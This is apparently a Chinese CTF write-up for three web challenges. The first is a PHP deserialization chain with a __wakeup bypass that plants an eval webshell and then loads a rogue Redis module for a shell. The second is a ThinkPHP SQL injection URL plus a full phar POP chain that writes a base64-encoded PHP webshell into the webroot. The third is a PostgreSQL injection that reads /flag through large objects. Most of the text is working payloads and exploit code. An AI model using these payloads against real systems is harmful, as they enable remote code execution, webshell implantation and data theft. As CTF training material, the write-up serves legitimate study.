esay_eval
考点
-
绕过
wakeup
和正则 -
新的一种利用so文件攻击redis的方式
反序列化
代码
<?php
class A{
public $code = "";
function __call($method,$args){//当调用不可访问或者不存在的方法时调用
eval($this->code);
}
function __wakeup(){+
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
直接找链子吧
<?php
class a{
public $code='phpinfo();';
}
class b{
public function __Construct(){
$this->a=new a();
}
}
$a=new b();
$b=serialize($a);
echo $b.PHP_EOL;
echo urlencode($b).PHP_EOL;
');
然后绕wakeup,改属性数量>实际属性数量即可
还是需要有个正则
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
由于类名是不区分大小写的,因此只要类名改成小写,绕wakeup改A和改B的属性数量都行
O%3A1%3A%22b%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo()%3B%22%3B%7D%7D
有disable_functions
,还有open_basedir
我们先上马
O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}
在目录有个config.php.swp
对于swp文件
linux swp文件是一种后缀为“.swp”的文件,该文件是在当使用vi或者vim编辑一个文件时产生的,当编辑完成正常退出时,该文件就会自动删除;swp文件是隐藏文件,在目录下使用“ls -al”才能查看。
我们利用linux命令行还原
vi -r config.php.swp
有redis,所以这道题大概率是攻击redis
Redis加载恶意so获取shell
我们先利用蚁剑redis插件
发现连接上了,可以用
既然可以连接蚁剑,所以我们可以利用so文件(so文件是动态链接库)
利用这个写的so文件Dliv3/redis-rogue-server(github.com)
上传到网站下
然后我们利用redis虚拟命令行加载so文件
可以得到flag了。
参考链接
https://blog.csdn.net/unexpectedthing/article/details/121667613
EzTP
考点:
thinkphp反序列化和sql注入
wp
dirsearch扫了一下,拿到源码
然后是个thinkphp5的注入
直接找poc
http://1.14.71.254:28839/public/index.php?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,2,3%23&password=3
进入之后有个上传界面,然后想到了构造pop链反序列化,用phar反序列化
www\application\admin\controller\Index.php
其中admin的index.php中listpic函数,is_dir
刚好可以触发phar
TP3.2.3
的链子
www\thinkphp\library\think\Process.php
这里的close
方法多了if
的条件判断,导致我们无法使用$this->processPipes->close()
,找到一个成员变量调用close
的类
需要把 t h i s − > p r o c e s s P i p e s ‘ 的 链 接 接 入 到 ‘ this->processPipes`的链接接入到` this−>processPipes‘的链接接入到‘this->handler
构造pop链子
<?php
namespace think;
use think\session\driver\Memcache;
class Process
{
private $processPipes;
private $status;
private $processInformation;
public function __construct(){
$this->processInformation['running']=true;
$this->status=3;
$this->processPipes=(new Memcache(1));
}
}
namespace think;
class Model{
}
namespace think\model;
use think\Model;
class Merge extends Model{
public $a='1';
public function __construct()
{
}
}
namespace think\model\relation;
use think\console\Output;
use think\db\Query;
use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
//protected $baseQuery=true;
protected $parent;
protected $localKey='a';
protected $foreignKey='a';
protected $pivot;
public function __construct(){
$this->query=new Output();
$this->parent= new Merge();
}
}
namespace think\model;
class Relation
{}
namespace think\db;
class Query{}
namespace think\console;
class Output{
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
'getTable',
'where'
];
private $handle;
public function __construct()
{
$this->handle = (new \think\session\driver\Memcache(0));
}
}
namespace think\session\driver;
class Memcache
{
protected $handler;
public function __construct($i)
{
if($i==0){
$this->handler = (new \think\cache\driver\Memcached(0));
}else{
$this->handler = (new \think\model\relation\HasMany);
}
}
}
namespace think\cache\driver;
class Memcached
{
protected $tag;
protected $options;
protected $handler;
public function __construct($i)
{
if($i==0){
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbJ3ozZXlvbmQnXSk7ID8+',
];
$this->handler = (new File);
}
}
}
class File
{
protected $tag;
protected $options;
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
];
}
}
@unlink("phar.phar");
$phar = new \Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata(new \think\Process()); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
上传后,访问触发phar
/admin/index/listpic?dir=phar:///var/www/html/public/static/img/xxxx.jpg
然后就直接getshell,就行了
easy_pg
考点:
postgresql
注入
wp
没有回显,无法使用PG_READ_FILE
报错回显读文件的函数
考察使用postgre largeobject
特性进行读文件
如果使用常规的|| lo_import
会因为报错而无论如何都无法将文件存进largeobct
这里使用 or xxx is null trick
绕过
将读取到的flag文件内容存入大对象中,单引号被用$$
替换
email="stud3nt@qq.com' or lo_import($$/flag$$,11110) is null --";
最后使用lo_get
将结果读出
email="x' union select encode(lo_get(11110),$$escape$$),NULL --+#";